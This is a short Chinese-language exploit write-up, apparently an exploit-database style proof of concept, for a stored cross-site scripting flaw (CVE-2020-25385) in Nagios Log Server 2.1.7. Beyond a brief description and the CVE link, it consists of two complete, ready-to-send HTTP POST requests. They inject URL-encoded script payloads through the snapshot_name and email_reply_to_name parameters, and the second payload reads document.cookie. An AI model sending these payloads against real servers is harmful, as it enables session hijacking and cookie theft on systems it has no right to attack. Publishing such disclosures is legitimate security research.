在 Nagios Log Server 2.1.7 中存在一个存储型跨站脚本（XSS）漏洞，攻击者可利用该漏洞对打开恶意构造链接或第三方网页的用户执行恶意操作。
Nagios Log Server 2.1.7 及更早版本受这些漏洞影响。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25385
要利用该漏洞，可向 '/nagioslogserver/configure/create_snapshot' 发送 POST 请求，通过操纵请求体中的 'snapshot_name' 参数，影响打开恶意构造链接或第三方网页的用户。
POST /nagioslogserver/configure/create_snapshot HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
DNT: 1
Connection: close
Cookie: csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd; ls_session=883lergotgcjbh9bjgaeakosv5go2gbb; PHPSESSID=nbah0vkmibpudd1qh7qgnpgo53
Upgrade-Insecure-Requests: 1
csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd&snapshot_name=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
要利用该漏洞，可向 '/nagioslogserver/admin/mail' 发送 POST 请求，通过操纵请求体中的 'email_reply_to_name' 参数，影响打开恶意构造链接或第三方网页的用户。
POST /nagioslogserver/admin/mail HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 291
DNT: 1
Connection: close
Cookie: csrf_ls=6e418c757282ab5c4785dad327238158; ls_session=pscogfricmnpe9kpvbtcuccn8mfempgp
Upgrade-Insecure-Requests: 1
csrf_ls=6e418c757282ab5c4785dad327238158&email_from_name=Nagios+Log+Server&email_from=root%40localhost&email_reply_to_name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email_reply_to=root%40localhost&email_method=mail&smtp_host=&smtp_crypto=&smtp_port=25&smtp_user=&smtp_pass=
